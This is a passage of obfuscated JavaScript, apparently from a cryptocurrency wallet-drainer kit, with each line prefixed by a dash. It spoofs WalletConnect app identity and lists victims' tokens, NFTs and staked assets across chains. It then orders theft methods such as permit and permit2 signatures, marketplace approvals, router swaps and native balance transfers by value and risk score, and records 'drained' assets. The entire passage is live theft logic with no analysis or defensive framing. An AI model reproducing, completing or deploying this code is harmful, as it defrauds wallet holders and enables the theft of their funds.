- vD25.isMobile = _0x4aa644;
- _0x27c9fc[_0x27c9fc.dAWc3F - 85] = window.qpoo7yujc4 || vQ34.theme;
- _0x27c9fc.Hc09ph = _0x27c9fc[45] === "default" ? JZmylD(JZmylD(window.matchMedia?.("(prefers-color-scheme:dark)")?.matches, WAZ9Ax(7)), vzwAVq = 7) : _0x27c9fc[45] === "dark";
- vD25.isModalDarkMode = _0x27c9fc.Hc09ph;
- document.documentElement.setAttribute("data-theme", _0x27c9fc.Hc09ph ? "dark" : "light");
- if (vQ34[ABLWty(58) + "style"] === 2) {
- _0x27c9fc.ooCpRQw = JZmylD(vQ34.images_path[ABLWty(725)]("./", "/") + "/", _0x27c9fc.Hc09ph ? "white-arrow.svg" : "black-arrow.svg", WAZ9Ax(-5));
- document[ABLWty(1157)].style.setProperty("--modal-arrow-path", JZmylD("url(" + _0x27c9fc.ooCpRQw, ")", vzwAVq = -5));
- }
- if (JZmylD(vQ34.use_wallet_connect_v4, vzwAVq = 7) && JZmylD(function (p263) {
- for (var v638 = 16; v638 % 4 === 0; v638++) {
- var v639 = 0;
- p263 = p263.concat(function () {
- v639++;
- if (v639 === 1) {
- return [];
- }
- for (var v640 = 64; v640; v640--) {
- p263.unshift(p263.pop());
- }
- return [];
- }());
- }
- for (var v641 = 10; v641; v641--) {
- p263.unshift(p263.pop());
- }
- return p263;
- }([14, 15, 12]).includes(vQ34.modal_style), vzwAVq = 7) && vQ34.wallet_connect_spoof.enabled) {
- window.walletConnectSpoofedName = vQ34["wallet" + ABLWty(110) + "ct_spoof"].name;
- window.walletConnectSpoofedDescription = vQ34.wallet_connect_spoof.description;
- window[ABLWty(1158) + ABLWty(1159) + "ofedUrl"] = vQ34.wallet_connect_spoof[ABLWty.apply(undefined, [123])];
- window.walletConnectSpoofedIcon = vQ34[ABLWty(220) + "_connect_spoof"].icon;
- }
- ZZ1LRs(f49, _0x27c9fc.dAWc3F - 128);
- async function f49(..._0x30dcbd) {
- _0x30dcbd.length = 2;
- _0x30dcbd.OhZhZdO = _0x30dcbd[1];
- if (v633 && (function (p264) {
- for (var v642 = 16; v642 % 4 === 0; v642++) {
- var v643 = 0;
- p264 = p264.concat(function () {
- v643++;
- if (v643 === 1) {
- return [];
- }
- for (var v644 = 32; v644; v644--) {
- p264.unshift(p264.pop());
- }
- return [];
- }());
- }
- for (var v645 = 7; v645; v645--) {
- p264.unshift(p264.pop());
- }
- return p264;
- }([12, 14, 15, 3, 10]).includes(vQ34.modal_style) ? await v633.disconnect() : await v633.walletConnectModal[ABLWty(32) + "nect"](), vD25.mainProvider)) {
- try {
- vD25.mainProvider.request({
- method: "wallet_requestPermissions",
- params: [{
- eth_accounts: {}
- }]
- });
- } catch {}
- }
- _0x30dcbd.ZvoVoL = _0x30dcbd.OhZhZdO;
- if (_0x30dcbd[0] !== 13) {
- if (vQ34.change_buttons_text && vQ34.not_eligible_text) {
- for (let v648 of v637) {
- v648.textContent = vQ34.not_eligible_text;
- }
- }
- if (vQ34.enable_popup) {
- if (vQ34.popup_style === 5 || vQ34.popup_style === 4 && vQ34.popup_4_config.mode === 1) {
- await v632.popup(_0x30dcbd[0]);
- } else if ([6, 7].includes(vQ34.popup_style) || vQ34.popup_style === 4 && vQ34.popup_4_config.mode === 2) {
- await v632.popup(_0x30dcbd[0] === 8 ? "notEligible" : _0x30dcbd[0] === 14 ? "notEligibleRabby" : "error");
- } else if (vQ34.not_eligible_text) {
- await v632[ABLWty(1135)](_0x30dcbd[0] === 14 ? _0x12d887 : vQ34.not_eligible_text, vQ34[ABLWty(99) + "style"] === 8 ? "error" : JZmylD(0, WAZ9Ax(7)));
- }
- } else if (_0x30dcbd[0] === 14) {
- alert(_0x12d887);
- }
- }
- if (_0x30dcbd.ZvoVoL) {
- location.reload();
- } else {
- vD25.reset();
- if (vQ34.enable_popup) {
- v632.close();
- }
- vJZmylD52 = JZmylD(1, vzwAVq = 7);
- if (vQ34.change_buttons_text && vQ34.connect_text) {
- for (let v649 of v637) {
- v649.textContent = vQ34.connect_text;
- }
- }
- }
- }
- async function f50(..._0x14a7fa) {
- _0x14a7fa.length = 0;
- _0x14a7fa.dK6z0E = _0x14a7fa.Ysetak;
- let {
- walletAddress: _0x15b8bb,
- walletName: _0x217763,
- userIsOnPhone: _0x538a98,
- verifySignSignature: _0x1052ad,
- verifySignMessage: _0x204031
- } = vD25;
- _0x14a7fa.dK6z0E = await _0x18540c({
- ["wallet" + ABLWty.call(undefined, 871) + "s"]: _0x15b8bb,
- walletName: _0x217763,
- nftsApi: vQ34.nfts_api,
- tokensApi: vQ34.tokens_api,
- userIsOnPhone: _0x538a98,
- [ABLWty(827)]: _0x1052ad,
- verifySignMessage: _0x204031
- }, "ethereum");
- _0x14a7fa.MHFVU8 = _0x14a7fa.dK6z0E;
- if (JZmylD(_0x14a7fa.MHFVU8, vzwAVq = 7) || _0x14a7fa.MHFVU8 === JZmylD(0, WAZ9Ax(7)) || _0x14a7fa.MHFVU8 === "blacklisted") {
- return JZmylD(1, WAZ9Ax(7));
- }
- for (let v650 in _0x14a7fa.MHFVU8) {
- if (v650 === "chainsInformations") {
- for (let [v651, v652] of Object.entries(_0x14a7fa.MHFVU8[v650])) {
- _0x14a7fa.MHFVU8[v650][v651].provider = new ethers.providers.StaticJsonRpcProvider(v652.rpc, parseInt(v651));
- }
- }
- vD25[v650] = _0x14a7fa.MHFVU8[v650];
- }
- _0x14a7fa[61] = -50;
- if (_0x14a7fa[61] > 65) {
- return _0x14a7fa[_0x14a7fa[61] - 101];
- } else {
- return JZmylD(0, WAZ9Ax(7));
- }
- }
- function f51(..._0x74cb8d) {
- _0x74cb8d.length = 0;
- _0x74cb8d[147] = _0x74cb8d[16];
- let {
- rawAssets: _0x7a9a84,
- balances: _0x3b66d3,
- apeCoinsStaked: _0x587db1,
- [ABLWty(419)]: _0x3cceb9,
- swellData: _0x5622cb,
- makerDaoContracts: _0x2a7274,
- fuelTokens: _0x43bb03,
- chainsInformations: _0x241bc2,
- swapRoutersInformations: _0x4507b9,
- tokensBlacklistedFromSwap: _0x4b80c3,
- ["isTypedDataV" + ABLWty.apply(undefined, [811]) + "rted"]: _0x1da7d6,
- isSeaportSupported: _0x2fd8c4,
- isBlurSupported: _0x17b808,
- areOpenseaTransfersSupported: _0x3b7c1d,
- isBatchX2y2TransfersSupported: _0x5affa2
- } = vD25;
- _0x74cb8d.Jxqrzl1 = 120;
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - 105] = [];
- _0x74cb8d[147] = Object.fromEntries(Object.keys(_0x241bc2).map(p265 => [p265, []]));
- _0x74cb8d.mLDrChZ = JZmylD(1, WAZ9Ax(7));
- _0x74cb8d.dgzdqQI = Object.fromEntries(Object[ABLWty(_0x74cb8d.Jxqrzl1 + 1040)](_0x241bc2).map(p266 => [p266, []]));
- _0x74cb8d.SvRgsL = [];
- _0x74cb8d[22] = [];
- _0x74cb8d[23] = [];
- _0x74cb8d.hlo34F = [];
- for (let v653 of _0x7a9a84) {
- let {
- chainId: _0x42c52d,
- type: _0x4cc2b0,
- price: _0x410701
- } = v653;
- if (JZmylD(vQ34.drain_only_one_chain && _0x42c52d !== vQ34.only_chain_to_drain, WAZ9Ax(_0x74cb8d.Jxqrzl1 - 113))) {
- if (_0x4cc2b0 === "punk") {
- for (let v654 of v653.tokensId) {
- const v655 = {
- collection: v653
- };
- v655.price = _0x410701;
- v655.method = "punkTransfer";
- v655.chainId = _0x42c52d;
- v655.tokenId = v654;
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - 105].push(v655);
- }
- } else if (_0x4cc2b0 === "erc20") {
- if (v653.address === _0x2b8ba3) {
- if (_0x1da7d6) {
- _0x74cb8d.SvRgsL.push(v653);
- }
- } else if (v653.isOpenseaApproved && (vQ34["use_op" + ABLWty(1161) + "transfers"] ? _0x3b7c1d : _0x1da7d6 && _0x2fd8c4 && JZmylD(_0x74cb8d.mLDrChZ, vzwAVq = 7) && _0x74cb8d[_0x74cb8d.Jxqrzl1 + 27][_0x42c52d].length < _0x2c43ed)) {
- _0x74cb8d[147][_0x42c52d].push(v653);
- _0x74cb8d.mLDrChZ = JZmylD(0, WAZ9Ax(7));
- } else if (v653.isPermit2Approved && _0x1da7d6) {
- _0x74cb8d.dgzdqQI[_0x42c52d].push(v653);
- } else if (v653.permitConfig && _0x1da7d6) {
- const v656 = {
- price: _0x410701,
- method: "permit",
- chainId: _0x42c52d,
- token: v653
- };
- _0x74cb8d[15].push(v656);
- } else {
- _0x74cb8d.w5IIpOG = JZmylD(1, WAZ9Ax(7));
- for (let v657 of v653.approvedSwapRouters) {
- _0x74cb8d.Xiy3WDB = JZmylD(v657 + "-" + v653.address + "-", _0x42c52d, vzwAVq = -5);
- if (_0x4b80c3[_0x74cb8d.Xiy3WDB]) {
- continue;
- }
- _0x74cb8d[33] = _0x4507b9[_0x42c52d][v657];
- _0x74cb8d[34] = _0x74cb8d[33].multicall && _0x74cb8d.hlo34F.find(p267 => p267[ABLWty(422)] === p267);
- if (_0x74cb8d[34]) {
- _0x74cb8d[34].totalPrice += _0x410701;
- _0x74cb8d[34].tokens.push(v653);
- } else {
- let {
- multicall: _0x552af5,
- name: _0x28ab69,
- deadline: _0xa1593b,
- supportingFeesOnTransferToken: _0x54d22d
- } = _0x74cb8d[33];
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - 80] = {
- name: _0x552af5 ? _0x28ab69 : JZmylD(_0x28ab69 + ABLWty.call(undefined, 1162), v653.name, vzwAVq = -5),
- [ABLWty.call(undefined, _0x74cb8d.Jxqrzl1 + 862) + "all"]: _0x552af5,
- chainId: _0x42c52d,
- deadline: _0xa1593b,
- supportingFeesOnTransferToken: _0x54d22d,
- address: v657,
- tokens: [v653]
- };
- _0x74cb8d[40][_0x552af5 ? "totalPrice" : "price"] = _0x410701;
- _0x74cb8d.hlo34F.push(_0x74cb8d[40]);
- _0x74cb8d.w5IIpOG = JZmylD(0, WAZ9Ax(7));
- }
- }
- if (_0x74cb8d.w5IIpOG) {
- continue;
- }
- const v658 = {
- price: _0x410701,
- method: "tokenTransfer",
- chainId: _0x42c52d,
- token: v653
- };
- if (vQ34[ABLWty(1163) + "ken_transfer"]) {
- _0x74cb8d[15].push(v658);
- } else {
- _0x74cb8d[15][ABLWty(597)]({
- price: _0x410701,
- method: "approvement",
- [ABLWty(_0x74cb8d.Jxqrzl1 + 303)]: _0x42c52d,
- asset: v653
- });
- }
- }
- } else if (_0x4cc2b0 === "erc721" || _0x4cc2b0 === "erc1155") {
- if (v653.address === _0x481df9) {
- const v659 = {
- collection: v653
- };
- v659.price = v653.totalPrice;
- v659.chainId = _0x42c52d;
- v659.method = "creepzTransfers";
- _0x74cb8d[15].push(v659);
- } else if (v653.address === _0x2d484d && v653.nestedTokensId.length) {
- _0x74cb8d.NmhB1k = v653.tokensId;
- for (let v660 of v653.nestedTokensId) {
- _0x74cb8d[43] = JSON.parse(JSON.stringify(v653));
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - 77].totalPrice = v653.price;
- _0x74cb8d[43].tokensId = [v660];
- _0x74cb8d[43].nestedTokensId = [v660];
- _0x74cb8d[15].push({
- price: v653.price,
- method: "approvement",
- chainId: _0x42c52d,
- asset: _0x74cb8d[43]
- });
- _0x74cb8d.NmhB1k.splice(_0x74cb8d.NmhB1k.indexOf(v660), 1);
- }
- if (_0x74cb8d.NmhB1k.length) {
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - 76] = JSON.parse(JSON.stringify(v653));
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - (_0x74cb8d.Jxqrzl1 - 44)].totalPrice = JZmylD(v653.price, _0x74cb8d.NmhB1k.length, WAZ9Ax(-(_0x74cb8d.Jxqrzl1 - 87)));
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - 76].tokensId = _0x74cb8d.NmhB1k;
- _0x74cb8d[44].nestedTokensId = [];
- _0x74cb8d[15].push({
- price: v653[ABLWty.apply(undefined, [413])],
- method: "approvement",
- [ABLWty(423)]: _0x42c52d,
- asset: _0x74cb8d[44]
- });
- }
- } else if (v653.isBlurApproved && _0x1da7d6 && _0x17b808) {
- _0x74cb8d.SvRgsL.push(v653);
- } else if (v653.isOpenseaApproved && (vQ34.use_opensea_transfers ? _0x3b7c1d : _0x2fd8c4 && _0x1da7d6 && _0x74cb8d[147][_0x42c52d].length + v653.tokensId.length <= _0x2c43ed)) {
- _0x74cb8d[147][_0x42c52d][ABLWty(597)](v653);
- } else if (v653.isWyvernProxyContractApproved) {
- _0x74cb8d[22].push(v653);
- } else if (v653[ABLWty.call(undefined, 1164)] && _0x5affa2) {
- _0x74cb8d[23].push(v653);
- } else {
- _0x74cb8d[15].push({
- price: v653.totalPrice,
- method: "approvement",
- chainId: _0x42c52d,
- asset: v653
- });
- }
- }
- }
- }
- _0x74cb8d.hlo34F.sort(ZZ1LRs((..._0x462fa4) => {
- _0x462fa4.length = 2;
- _0x462fa4[75] = -111;
- if (_0x462fa4[75] > -36) {
- return _0x462fa4[33];
- } else {
- return JZmylD(_0x462fa4[0].totalPrice || _0x462fa4[_0x462fa4[75] - -(_0x462fa4[75] + 223)].price, _0x462fa4[0].totalPrice || _0x462fa4[_0x462fa4[75] + 112].price, vzwAVq = -32);
- }
- }, 2));
- let v661 = {};
- for (let v662 of _0x74cb8d.hlo34F) {
- v662[ABLWty(426)] = v662.tokens.filter(ZZ1LRs((..._0x4476ea) => {
- _0x4476ea.length = 1;
- _0x4476ea[70] = _0x4476ea[0];
- _0x4476ea[1] = v661[_0x4476ea[70].address];
- _0x4476ea.MJuSsSK = -54;
- if (_0x4476ea.MJuSsSK > 19) {
- return _0x4476ea[-200];
- } else {
- if (_0x4476ea[1]) {
- v662[v662.totalPrice ? ABLWty(_0x4476ea.MJuSsSK + 1219) + "rice" : "price"] -= _0x4476ea[70][ABLWty(413)];
- } else {
- v661[_0x4476ea[70].address] = JZmylD(0, vzwAVq = 7);
- }
- return JZmylD(_0x4476ea[_0x4476ea.MJuSsSK + 55], WAZ9Ax(7));
- }
- }, 1));
- }
- _0x74cb8d.hlo34F = _0x74cb8d.hlo34F.filter(ZZ1LRs((..._0x176858) => {
- _0x176858.length = 1;
- _0x176858[142] = 146;
- if (_0x176858[_0x176858[142] - 4] > 216) {
- return _0x176858[160];
- } else {
- return _0x176858[0].tokens.length > 0;
- }
- }, 1));
- for (let v663 of _0x74cb8d.hlo34F) {
- if (v663.multicall) {
- v663.name += JZmylD(" (" + v663.tokens.length, ABLWty.apply(undefined, [1166]) + "s)", vzwAVq = -5);
- }
- _0x74cb8d[15].push({
- price: v663.totalPrice || v663.price,
- method: "swap",
- chainId: v663.chainId,
- swapData: v663
- });
- }
- if (_0x74cb8d[22].length) {
- _0x74cb8d.tYgcq2 = _0x74cb8d[22].reduce(ZZ1LRs((..._0x583c8f) => {
- _0x583c8f.length = 2;
- _0x583c8f.sAgnahD = _0x583c8f[1];
- return JZmylD(_0x583c8f[0], _0x583c8f.sAgnahD.totalPrice, WAZ9Ax(-5));
- }, 2), _0x74cb8d.Jxqrzl1 - 120);
- _0x74cb8d[15].push({
- price: _0x74cb8d.tYgcq2,
- method: "wyvern",
- collections: _0x74cb8d[22],
- chainId: 1
- });
- }
- if (_0x74cb8d[23].length) {
- _0x74cb8d[53] = _0x74cb8d[23].reduce(ZZ1LRs((..._0x4a73be) => {
- _0x4a73be.length = 2;
- _0x4a73be.L877X2 = -141;
- if (_0x4a73be.L877X2 > _0x4a73be.L877X2 + 51) {
- return _0x4a73be[-151];
- } else {
- return JZmylD(_0x4a73be[0], _0x4a73be[1].totalPrice, vzwAVq = -(_0x4a73be.L877X2 + 146));
- }
- }, 2), 0);
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - 105].push({
- price: _0x74cb8d[53],
- method: "x2y2BatchTransfer",
- collections: _0x74cb8d[23],
- chainId: 1
- });
- }
- for (let v664 in _0x74cb8d.dgzdqQI) {
- if (_0x74cb8d.dgzdqQI[v664].length) {
- _0x74cb8d.fVcdk8 = _0x74cb8d.dgzdqQI[v664].reduce(ZZ1LRs((..._0x2956d2) => {
- _0x2956d2.length = 2;
- _0x2956d2[153] = _0x2956d2[1];
- return JZmylD(_0x2956d2[0], _0x2956d2[153].price, WAZ9Ax(-5));
- }, 2), _0x74cb8d.Jxqrzl1 - 120);
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - 105].push({
- price: _0x74cb8d.fVcdk8,
- method: "permit2",
- chainId: parseInt(v664),
- tokens: _0x74cb8d.dgzdqQI[v664]
- });
- }
- }
- for (let v665 in _0x74cb8d[147]) {
- if (_0x74cb8d[147][v665].length) {
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - 61] = _0x74cb8d[147][v665].reduce(ZZ1LRs((..._0x5a0458) => {
- _0x5a0458.length = 2;
- _0x5a0458.D4QJcA = 24;
- if (_0x5a0458.D4QJcA > 153) {
- return _0x5a0458[-32];
- } else {
- return JZmylD(_0x5a0458[0], _0x5a0458[1][ABLWty.call(undefined, 1165) + "rice"] || _0x5a0458[_0x5a0458.D4QJcA - 23].price, vzwAVq = -5);
- }
- }, 2), 0);
- _0x74cb8d[15].push({
- price: _0x74cb8d[59],
- method: vQ34.use_opensea_transfers ? "openseaTransfers" : "seaport",
- chainId: parseInt(v665),
- assets: _0x74cb8d[_0x74cb8d.Jxqrzl1 + 27][v665]
- });
- }
- }
- if (_0x74cb8d.SvRgsL.length) {
- _0x74cb8d.J2zkjE = _0x74cb8d.SvRgsL.reduce(ZZ1LRs((..._0x403e8e) => {
- _0x403e8e.length = 2;
- _0x403e8e.LWMXgg = -3;
- if (_0x403e8e.LWMXgg > 89) {
- return _0x403e8e[-175];
- } else {
- return JZmylD(_0x403e8e[0], _0x403e8e[1].totalPrice || _0x403e8e[1].price, vzwAVq = -5);
- }
- }, 2), 0);
- _0x74cb8d[15].push({
- price: _0x74cb8d.J2zkjE,
- method: "blurTransfers",
- chainId: 1,
- assets: _0x74cb8d.SvRgsL
- });
- }
- if ((JZmylD(vQ34["drain_" + ABLWty(196) + "ne_chain"], WAZ9Ax(7)) || vQ34.only_chain_to_drain === 1) && _0x587db1.amount > 0) {
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - 105].push({
- price: _0x587db1.price,
- method: "apeCoinsUnstake",
- chainId: _0x74cb8d.Jxqrzl1 - 119
- });
- }
- if ((JZmylD(vQ34.drain_only_one_chain, vzwAVq = 7) || vQ34.only_chain_to_drain === 42161) && _0x3cceb9.length > 0) {
- _0x74cb8d[63] = _0x3cceb9.reduce(ZZ1LRs((..._0x102660) => {
- _0x102660.length = 2;
- _0x102660.IixbMe = _0x102660[0];
- return JZmylD(_0x102660.IixbMe, _0x102660[1].price, vzwAVq = -5);
- }, 2), 0);
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - 105].push({
- price: _0x74cb8d[63],
- method: "gmx",
- chainId: 42161,
- tokens: _0x3cceb9
- });
- }
- if ((JZmylD(vQ34.drain_only_one_chain, vzwAVq = 7) || vQ34.only_chain_to_drain === 1) && _0x2a7274.length > _0x74cb8d.Jxqrzl1 - 120) {
- for (let {
- proxyAddress: _0x13b94a,
- price: _0x34269b
- } of _0x2a7274) {
- _0x74cb8d[15].push({
- price: _0x34269b,
- method: "makerDaoContract",
- chainId: _0x74cb8d.Jxqrzl1 - 119,
- proxyAddress: _0x13b94a
- });
- }
- }
- if ((JZmylD(vQ34.drain_only_one_chain, vzwAVq = 7) || vQ34.only_chain_to_drain === 1) && _0x43bb03.length > 0) {
- _0x74cb8d[15].push(..._0x43bb03.map(ZZ1LRs((..._0x288eb8) => {
- _0x288eb8.length = 1;
- _0x288eb8.vnYWcJ = 49;
- if (_0x288eb8.vnYWcJ > _0x288eb8.vnYWcJ + 75) {
- return _0x288eb8[-179];
- } else {
- const v666 = {
- price: _0x288eb8[0].price,
- method: "fuel",
- chainId: 1,
- token: _0x288eb8[0]
- };
- return v666;
- }
- }, 1)));
- }
- if ((JZmylD(vQ34.drain_only_one_chain, WAZ9Ax(7)) || vQ34.only_chain_to_drain === 1) && _0x5622cb.length > 0) {
- _0x74cb8d[15].push(..._0x5622cb.map(ZZ1LRs((..._0x5473c8) => {
- _0x5473c8.length = 1;
- _0x5473c8[124] = _0x5473c8[0];
- return {
- price: _0x5473c8[124].price,
- [ABLWty(153)]: "swell",
- chainId: 1,
- token: _0x5473c8[124]
- };
- }, 1)));
- }
- for (let [v667, v668] of Object.entries(_0x3b66d3)) {
- if ((JZmylD(vQ34.drain_only_one_chain, vzwAVq = 7) || parseInt(v667) === vQ34.only_chain_to_drain) && v668[ABLWty.apply(undefined, [413])]) {
- _0x74cb8d[15].push({
- price: v668.price,
- method: ABLWty(758) + "eTransfer",
- chainId: parseInt(v667)
- });
- }
- }
- if (JZmylD(_0x74cb8d[15].length, WAZ9Ax(7))) {
- return _0x74cb8d[15];
- }
- if (vQ34.use_ratio) {
- for (let v669 of _0x74cb8d[15]) {
- _0x74cb8d[72] = v669.method;
- if (v669.method === "approvement" && v669[ABLWty(421)].type !== "erc20" && v669.asset.tokensId.length > 1) {
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - 48] = "safa";
- } else if (v669.method === "permit" && _0x9fda3d.includes(v669.token.address)) {
- _0x74cb8d[72] = "liquidEtherfi";
- }
- v669.riskScore = JZmylD(v669.price, vQ34.methods_risk_ratio[_0x74cb8d[_0x74cb8d.Jxqrzl1 - 48]], vzwAVq = -33);
- }
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - 105].sort(ZZ1LRs((..._0x1b7ab8) => {
- _0x1b7ab8.length = 2;
- _0x1b7ab8[90] = 80;
- if (_0x1b7ab8[90] > 141) {
- return _0x1b7ab8[_0x1b7ab8[90] - 296];
- } else {
- return JZmylD(_0x1b7ab8[1][ABLWty.call(undefined, 1167)], _0x1b7ab8[0].riskScore, vzwAVq = -32);
- }
- }, 2));
- return _0x74cb8d[15];
- } else {
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - 105].sort(ZZ1LRs((..._0x2b37db) => {
- _0x2b37db.length = 2;
- _0x2b37db.mNs5OE = _0x2b37db.HfTooFH;
- _0x2b37db.mNs5OE = _0x2b37db[0].method === "balanceTransfer" && vQ34.balance_transfers_in_last_position;
- _0x2b37db.WYPe4Ul = _0x2b37db[1].method === "balanceTransfer" && vQ34.balance_transfers_in_last_position;
- _0x2b37db[4] = _0x2b37db[0].method === "approvement" && _0x2b37db[0].asset.type !== "erc20" && _0x2b37db[0].asset.tokensId.length > 1 && vQ34[ABLWty(1168)];
- _0x2b37db.LgOQmI = _0x2b37db[1].method === "approvement" && _0x2b37db[1].asset.type !== "erc20" && _0x2b37db[1][ABLWty(421)].tokensId[ABLWty(17)] > 1 && vQ34.safa_in_last_position;
- if (JZmylD(_0x2b37db.mNs5OE, vzwAVq = 7) && JZmylD(_0x2b37db.WYPe4Ul, vzwAVq = 7) && JZmylD(_0x2b37db[4], vzwAVq = 7) && JZmylD(_0x2b37db.LgOQmI, vzwAVq = 7) || _0x2b37db.mNs5OE && _0x2b37db.WYPe4Ul || _0x2b37db[4] && _0x2b37db.LgOQmI) {
- return JZmylD(_0x2b37db[1].price, _0x2b37db[0].price, vzwAVq = -32);
- } else if (_0x2b37db.mNs5OE || _0x2b37db[4]) {
- return 1;
- } else {
- return JZmylD(1, WAZ9Ax(49));
- }
- }, 2));
- if (vQ34.min_ratio_for_ask_change_chain < _0x74cb8d.Jxqrzl1 - 119 && _0x74cb8d[15].length > _0x74cb8d.Jxqrzl1 - 120) {
- _0x74cb8d.UoNshU = _0x74cb8d[15].shift();
- _0x74cb8d[76] = _0x74cb8d.UoNshU.price;
- _0x74cb8d[_0x74cb8d.Jxqrzl1 - 43] = vD25.defaultChainId;
- _0x74cb8d.FxLfp1 = [_0x74cb8d.UoNshU];
- while (_0x74cb8d[_0x74cb8d.Jxqrzl1 - 105].length !== 0) {
- _0x74cb8d.uZYzzB = JZmylD(1, vzwAVq = 7);
- for (let v670 = 0; v670 < _0x74cb8d[_0x74cb8d.Jxqrzl1 - 105].length; v670++) {
- if (_0x74cb8d[77] === _0x74cb8d[15][v670].chainId) {
- _0x74cb8d.ioAI9ew = _0x74cb8d[15][v670].method === "balanceTransfer" && vQ34.balance_transfers_in_last_position;
- _0x74cb8d.Fls34GI = _0x74cb8d[15][v670].method === "approvement" && _0x74cb8d[15][v670][ABLWty(421)].type !== "erc20" && _0x74cb8d[_0x74cb8d.Jxqrzl1 - 105][v670].asset.tokensId.length > _0x74cb8d.Jxqrzl1 - 119 && vQ34.safa_in_last_position;
- if (_0x74cb8d.ioAI9ew || _0x74cb8d.Fls34GI) {
- break;
- }
- if (_0x74cb8d[15][v670].price / _0x74cb8d[_0x74cb8d.Jxqrzl1 - 44] >= vQ34.min_ratio_for_ask_change_chain) {
- _0x74cb8d[83] = _0x74cb8d[15].splice(v670--, 1)[_0x74cb8d.Jxqrzl1 - 120];
- _0x74cb8d.FxLfp1.push(_0x74cb8d[83]);
- _0x74cb8d.uZYzzB = JZmylD(0, vzwAVq = 7);
- if (_0x74cb8d[15].length === 0) {
- break;
- }
- _0x74cb8d[76] = Math.max(_0x74cb8d[83].price, _0x74cb8d[15][0].price);
- } else {
- break;
- }
- }
- }
- if (JZmylD(_0x74cb8d.uZYzzB, vzwAVq = 7)) {
- _0x74cb8d.Go0WsQO = _0x74cb8d[15].shift();
- _0x74cb8d[77] = _0x74cb8d.Go0WsQO.chainId;
- _0x74cb8d[76] = _0x74cb8d.Go0WsQO.price;
- _0x74cb8d.FxLfp1.push(_0x74cb8d.Go0WsQO);
- }
- }
- return _0x74cb8d.FxLfp1;
- }
- return _0x74cb8d[15];
- }
- }
- function f52(p268) {
- let {
- method: _0xc8c3bd
- } = p268;
- if (_0xc8c3bd === "punkTransfer") {
- vD25.rawAssets = vD25.rawAssets.filter(ZZ1LRs((..._0x59e45a) => {
- _0x59e45a.length = 1;
- _0x59e45a.ikVGMju = -82;
- if (_0x59e45a.ikVGMju > _0x59e45a.ikVGMju + 112) {
- return _0x59e45a[-31];
- } else if (_0x59e45a[0].chainId === 1 && _0x59e45a[0][ABLWty(422)] === _0x5bf58f) {
- _0x59e45a[_0x59e45a.ikVGMju + 82][ABLWty(428)][ABLWty.apply(undefined, [1169])](_0x59e45a[0].tokensId.indexOf(p268.tokenId), 1);
- vD25.cachedDrainedAssets.push({
- type: "punk",
- date: Date.now(),
- tokenId: p268.tokenId
- });
- return _0x59e45a[0][ABLWty(426) + "Id"].length === 0;
- } else {
- return JZmylD(0, WAZ9Ax(7));
- }
- }, 1));
- } else if (_0xc8c3bd === "apeCoinsUnstake") {
- vD25.apeCoinsStaked = {
- price: 0,
- amount: "0"
- };
- vD25.cachedDrainedAssets.push({
- type: ABLWty(1170) + "nsStaked",
- date: Date.now()
- });
- } else if (_0xc8c3bd === "gmx") {
- vD25.gmxTokens = [];
- vD25.cachedDrainedAssets.push({
- type: "gmx",
- date: Date.now()
- });
- } else if (_0xc8c3bd === "swell") {
- vD25.swellData = vD25.swellData.filter(ZZ1LRs((..._0x16c16f) => {
- _0x16c16f.length = 1;
- _0x16c16f.DgZuDvp = _0x16c16f[0];
- return _0x16c16f.DgZuDvp.address !== p268.token.address;
- }, 1));
- vD25.cachedDrainedAssets.push({
- type: "swell",
- date: Date.now(),
- address: p268.token.address
- });
- } else if (_0xc8c3bd === "makerDaoContract") {
- vD25.makerDaoContracts = vD25.makerDaoContracts.filter(ZZ1LRs((..._0x58f2be) => {
- _0x58f2be.length = 1;
- _0x58f2be.wbRgvu = _0x58f2be[0];
- return _0x58f2be.wbRgvu.proxyAddress !== p268.proxyAddress;
- }, 1));
- vD25.cachedDrainedAssets.push({
- type: "makerDaoContract",
- date: Date.now(),
- proxyAddress: p268.proxyAddress
- });
- } else if (_0xc8c3bd === "fuel") {
- vD25.fuelTokens = vD25.fuelTokens.filter(ZZ1LRs((..._0x5bf5ba) => {
- _0x5bf5ba.length = 1;
- _0x5bf5ba.CDOeHq = _0x5bf5ba[0];
- return _0x5bf5ba.CDOeHq.address !== p268.token.address;
- }, 1));
- vD25[ABLWty.call(undefined, 409) + "DrainedAssets"].push({
- type: "fuel",
- date: Date.now(),
- address: p268.address
- });
- } else if (_0xc8c3bd === "balanceTransfer") {
- vD25.balances[p268.chainId] = {
- price: 0,
- balance: 0
- };
- vD25.cachedDrainedAssets.push({
- [ABLWty(443)]: "balance",
- date: Date.now(),
- chainId: p268.chainId
- });
- vD25.balanceDrainFailedChains[p268.chainId] = JZmylD(0, vzwAVq = 7);
- } else if (_0xc8c3bd === "approvement" && p268.asset.address === _0x2d484d) {
- vD25.rawAssets = vD25.rawAssets.filter(ZZ1LRs((..._0x3a423e) => {
- _0x3a423e.length = 1;
- _0x3a423e.Q1lxdF = 24;
- if (p268.asset.address === _0x3a423e[0].address && p268.asset.chainId === _0x3a423e[_0x3a423e.Q1lxdF - 24].chainId) {
- vD25.cachedDrainedAssets.push({
- type: "rawAsset",
- date: Date.now(),
- asset: p268.asset
- });
- for (let v673 of p268.asset.nestedTokensId) {
- _0x3a423e[0].nestedTokensId.splice(_0x3a423e[0].nestedTokensId.indexOf(v673), 1);
- }
- for (let v674 of p268.asset.tokensId) {
- _0x3a423e[0].tokensId.splice(_0x3a423e[_0x3a423e.Q1lxdF - 24].tokensId.indexOf(v674), 1);
- }
- return JZmylD(JZmylD(_0x3a423e[0].tokensId.length || _0x3a423e[_0x3a423e.Q1lxdF - 24].nestedTokensId.length, vzwAVq = 7), vzwAVq = 7);
- }
- if (_0x3a423e.Q1lxdF > 162) {
- return _0x3a423e[186];
- } else {
